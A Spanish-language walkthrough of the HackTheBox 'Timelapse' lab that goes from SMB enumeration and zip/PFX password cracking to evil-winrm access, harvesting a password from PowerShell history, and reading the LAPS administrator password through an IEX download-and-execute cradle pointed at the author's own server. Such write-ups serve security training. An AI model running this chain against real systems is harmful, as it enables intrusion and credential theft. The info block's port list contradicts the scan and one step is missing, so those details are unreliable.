

HackTheBox - Timelapse

- Tags: [#SMB](#) [#Zip-File](#) [#PFX-File](#) [#LAPS](#) [#Evil-WinRM](#)
-

Información de la máquina

- Dirección IP -> 10.129.227.113
 - Puertos Abiertos: 22(SSH) 80(HTTP) 1337(WASTE)
-

Al hacerle un ping nos devuelve un TTL de 127 por lo que podemos deducir que es una maquina Windows

```
└─(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ ping -c 1 10.129.227.113
PING 10.129.227.113 (10.129.227.113) 56(84) bytes of data.
64 bytes from 10.129.227.113: icmp_seq=1 ttl=127 time=228 ms

--- 10.129.227.113 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 228.200/228.200/228.200/0.000 ms
```

Escaneo con nmap

Utilizaremos la herramienta **nmap** para así poder ver todos los puertos que tiene abierto internamente esta maquina

```
└─(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ nmap -p- --open -sS --min-rate 5000 -n 10.129.227.113
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-25 19:10 -03
Nmap scan report for 10.129.227.113
Host is up (0.24s latency).
Not shown: 65517 filtered tcp ports (no-response)
```

Some closed ports may be reported as filtered due to `--defeat-rst-ratelimit`

PORT	STATE	SERVICE
53/tcp	open	domain
88/tcp	open	kerberos-sec
135/tcp	open	msrpc
139/tcp	open	netbios-ssn
389/tcp	open	ldap
445/tcp	open	microsoft-ds
464/tcp	open	kpasswd5
593/tcp	open	http-rpc-epmap
636/tcp	open	ldapssl
3268/tcp	open	globalcatLDAP
3269/tcp	open	globalcatLDAPssl
5986/tcp	open	wsmans
9389/tcp	open	adws
49667/tcp	open	unknown
49673/tcp	open	unknown
49674/tcp	open	unknown
49695/tcp	open	unknown
49727/tcp	open	unknown

Con este comando, lo que le hemos dicho a la herramienta que haga es que escanee todo el rango de puertos, es decir, desde el 0 hasta el 65535 (-p-), mostrando solamente los que devuelvan un estado «abierto» (--open). Luego, con el parámetro **--min-rate 5000**, le indicamos que no envíe menos de 5000 paquetes por segundo, esto para que el escaneo sea mucho más rápido. Y por último, el parámetro **-n** el cual le indica a la herramienta que no haga una resolución DNS.

Ahora, lo que haremos será escanear los puertos que nos devolvió que estaban abiertos, para poder ver qué servicio está corriendo en los mismos y sus respectivas versiones. Esto lo hacemos con el parámetro **-sCV**. Y por último, exportaremos la información en un archivo llamado «versiones».

```
—(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ nmap -
p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,47692
-sCV 10.129.227.113 -oN versiones
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-25 19:12 -03
Nmap scan report for timelapse.htb (10.129.227.113)
Host is up (0.48s latency).
```

PORT	STATE	SERVICE	VERSION
53/tcp	open	domain	Simple DNS Plus
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2025-01-26 06:12:53Z)
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp	open	microsoft-ds?	
464/tcp	open	kpasswd5?	
593/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
636/tcp	open	ldapssl?	
3268/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp	open	globalcatLDAPssl?	
5986/tcp	open	ssl/http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
ssl-cert: Subject: commonName=dc01.timelapse.htb			
Not valid before: 2021-10-25T14:05:29			
_Not valid after: 2022-10-25T14:25:29			
tls-alpn:			
_ http/1.1			
_http-title: Not Found			
_http-server-header: Microsoft-HTTPAPI/2.0			
_ssl-date: 2025-01-26T06:14:31+00:00; +7h59m59s from scanner time.			
9389/tcp	open	mc-nmf	.NET Message Framing
47692/tcp	filtered	unknown	
49667/tcp	open	msrpc	Microsoft Windows RPC
49673/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
49674/tcp	open	msrpc	Microsoft Windows RPC

Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

```

| smb2-time:
|   date: 2025-01-26T06:13:50
|_  start_date: N/A
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

```

```
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 119.18 seconds
```

Lo primero que vamos a hacer es agregar el dominio que se nos lista al archivo `/etc/hosts`.

```
—(root@kali)-[/home/.../Escritorio/HTB/Timelapse/nmap]
└─# echo "10.129.227.113 timelapse.htb" >> /etc/hosts
```

La máquina tiene el servicio SMB, por lo tanto, vamos a tratar de ver si tiene recursos compartidos expuestos.

```
—(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ smbclient -L 10.129.227.113 -N
```

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
Shares	Disk	
SYSVOL	Disk	Logon server share

Reconnecting with SMB1 for workgroup listing.

Vemos que hay un recurso llamado 'Shares', vamos a conectarnos.

```
—(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ smbclient //10.129.227.113/Shares -N
```

Try "help" to get a list of possible commands.

smb: \> dir

.	D	0	Mon Oct 25 12:39:15 2021
..	D	0	Mon Oct 25 12:39:15 2021
Dev	D	0	Mon Oct 25 16:40:06 2021
HelpDesk	D	0	Mon Oct 25 12:48:42 2021

6367231 blocks of size 4096. 1338940 blocks available

En el directorio Dev, tenemos un archivo comprimido llamado "winrm_backup.zip". Vamos a descargarlo.

```
smb: \> cd Dev
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (1,7
KiloBytes/sec) (average 1,7 KiloBytes/sec)
smb: \Dev\> exit
```

```
—(lshinkiz@kali)—[~/Escritorio/HTB/Timelapse/nmap]
└─$ 7z l winrm_backup.zip
```

```
7-Zip 24.09 (x64) : Copyright (c) 1999–2024 Igor Pavlov : 2024-11-29
64-bit locale=es_AR.UTF-8 Threads:128 OPEN_MAX:1024
```

```
Scanning the drive for archives:
1 file, 2611 bytes (3 KiB)
```

```
Listing archive: winrm_backup.zip
```

```
--
```

```
Path = winrm_backup.zip
Type = zip
Physical Size = 2611
```

Date	Time	Attr	Size	Compressed	Name
2021-10-25	11:21:20	2555	2405	legacyy_dev_auth.pfx
2021-10-25	11:21:20		2555	2405	1 files

Este archivo comprimido está protegido por contraseña, por lo tanto, vamos a extraer el hash usando **zip2john** y luego intentaremos crackearlo con John mismo.

```
—(lshinkiz@kali)—[~/Escritorio/HTB/Timelapse/nmap]
└─$ zip2john winrm_backup.zip > hash
Created directory: /home/lshinkiz/.john
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr:
TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
```

```

└─(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy      (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2025-01-25 19:30) 3.030g/s 10525Kp/s 10525Kc/s 10525KC/s
surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

Una vez obtenida la contraseña, vamos a descomprimir el archivo, lo que nos dará como resultado un archivo llamado 'legacyy_dev_auth.pfx'.

Los archivos PFX son un formato binario que se utiliza para almacenar certificados, certificados intermedios y claves privadas. Son muy comunes en Windows para importar y exportar certificados y claves privadas.

Los archivos PFX se utilizan para: Firmar el código de aplicaciones, Firmar documentos digitalmente, Importar y exportar certificados y claves privadas, Instalar certificados SSL en Windows Server.

Sabiendo esto, vamos a intentar extraer la clave privada y el certificado de este archivo. Al ser archivos protegidos por contraseñas, vamos a tener que volver a obtener el hash y crackearlo.

```

└─(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ pfx2john legacyy_dev_auth.pfx > hash

└─(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256
AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1
for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy         (legacyy_dev_auth.pfx)
1g 0:00:00:25 DONE (2025-01-25 19:39) 0.03987g/s 128857p/s 128857c/s 128857C/s
thuglife06..thsco04

```

```
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Extraer clave privada

Para poder extraer la clave privada de este archivo .PFX vamos a hacer lo siguiente

```
(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
Enter Import Password: thuglegacy
```

Extraer certificado

Por último, para extraer el certificado de este archivo .PFX, vamos a hacer lo siguiente

Si recordamos los puertos que están abiertos, el puerto 5986 está abierto, el cual corresponde al servicio de administración remota de Windows.

Si este servicio está expuesto y nosotros contamos con claves privadas y un certificado, podemos intentar conectarnos remotamente a la máquina de la siguiente forma.

```
(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ evil-winrm -i 10.129.227.113 -c certificate.pem -k priv-key.pem -S
```

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:
<https://github.com/Hackplayers/evil-winrm#Remote-path-completion>

Warning: SSL enabled

Info: Establishing connection to remote endpoint
Evil-WinRM PS C:\Users\legacyy\Documents> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

```
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . : dead:beef::3db7:e294:ff6d:cf24
Link-local IPv6 Address . . . . . : fe80::3db7:e294:ff6d:cf24%13
IPv4 Address. . . . . : 10.129.227.113
Subnet Mask . . . . . : 255.255.0.0
Default Gateway . . . . . : fe80::250:56ff:feb9:f8ec%13
```

10.129.0.1

Con el parámetro -i le indicamos la dirección IP de la máquina a la que nos queremos conectar, con el parámetro -c le indicamos el certificado, con -k le indicamos la clave privada y con -S porque es SSL

Si listamos los usuarios existentes en la máquina, veremos uno llamado 'svc_deploy', el cual forma parte del grupo LAPS_Readers y Remote Management Users

Windows Local Administrator Password Solution (LAPS) es una característica de Microsoft que gestiona y realiza copias de seguridad de la contraseña de una cuenta de administrador local

Usando winPEAS para realizar un reconocimiento de la máquina y así ver las distintas formas de escalar privilegios, se nos listará que en el historial de comandos de PowerShell está expuesta la contraseña del usuario svc_deploy.

```
*Evil-WinRM* PS C:\Users\legacy\Documents> type
C:\Users\legacy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\Conso
leHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
```

```
—(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ crackmapexec smb 10.129.227.113 -u 'svc_deploy' -p
```



```
'E3R$Q62^12p7PLlC%KWaxuaV'
SMB          10.129.227.113  445      DC01          [*] Windows 10 / Server
2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True)
(SMBv1:False)
SMB          10.129.227.113  445      DC01          [+]
timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV

└─(lshinkiz@kali)-[~/Escritorio/HTB/Timelapse/nmap]
└─$ evil-winrm -i 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
-S

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:
https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Warning: SSL enabled

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
```

Siendo el usuario `svc_deploy`, formamos parte del grupo `LAPS_Readers`, por lo que podemos leer las contraseñas de los usuarios administradores del sistema. Podemos intentar hacer esto mediante este módulo escrito en PowerShell.

- <https://raw.githubusercontent.com/kfosaaen/Get-LAPSPasswords/refs/heads/master/Get-LAPSPasswords.ps1>

```
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> IEX(New-Object Net.WebClient).downloadString('http://10.10.10.15:8080/Get-LAPSPasswords.ps1')
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-LAPSPasswords

Hostname : dc01.timelapse.htb
Stored : 1
Readable : 1
Password : +6;+[lZ48,iKn3G0hJbY]]+
Expiration : 1/30/2025 10:03:12 PM

Hostname : dc01.timelapse.htb
Stored : 1
Readable : 1
Password : +6;+[lZ48,iKn3G0hJbY]]+
Expiration : 1/30/2025 10:03:12 PM

Hostname :
Stored : 0
Readable : 0
Password :
Expiration : NA

Hostname : dc01.timelapse.htb
Stored : 1
Readable : 1

(lshinkiz@kali) ~/Escritorio/HTB/Timelapse/scripts
$ wget https://raw.githubusercontent.com/kfosaen/Get-LAPSPasswords/refs/heads/master/Get-LAPSPasswords.ps1
--2025-01-25 20:38:45-- https://raw.githubusercontent.com/kfosaen/Get-LAPSPasswords/refs/heads/master/Get-LAPSPasswords.ps1
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com) ... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.109.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 7419 (7,2K) [text/plain]
Grabando a: «Get-LAPSPasswords.ps1»

Get-LAPSPasswords.ps1 100%[=====] 7,25K --KB/s en 0,006s

2025-01-25 20:38:46 (1,23 MB/s) - «Get-LAPSPasswords.ps1» guardado [7419/7419]

(lshinkiz@kali) ~/Escritorio/HTB/Timelapse/scripts
$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.129.227.113 - - [25/Jan/2025 20:38:59] "GET /Get-LAPSPasswords.ps1 HTTP/1.1" 200 -
```

Vamos a probar esa contraseña obtenida con el usuario Administrator.

```
(lshinkiz@kali)~[~/Escritorio/HTB/Timelapse/nmap]
└─$ crackmapexec smb 10.129.227.113 -u 'Administrator' -p '+6;+[lZ48,iKn3G0hJbY]]+'
SMB 10.129.227.113 445 DC01 [*] Windows 10 / Server
2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True)
(SMBv1:False)
SMB 10.129.227.113 445 DC01 [+]
timelapse.htb\Administrator:+6;+[lZ48,iKn3G0hJbY]]+ (Pwn3d!)
```

```
(lshinkiz@kali)~[~/Escritorio/HTB/Timelapse/nmap]
└─$ evil-winrm -i 10.129.227.113 -u 'Administrator' -p '+6;+[lZ48,iKn3G0hJbY]]+' -S
```

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:
<https://github.com/Hackplayers/evil-winrm#Remote-path-completion>

Warning: SSL enabled

Info: Establishing connection to remote endpoint

Evil-WinRM PS C:\Users\Administrator\Documents>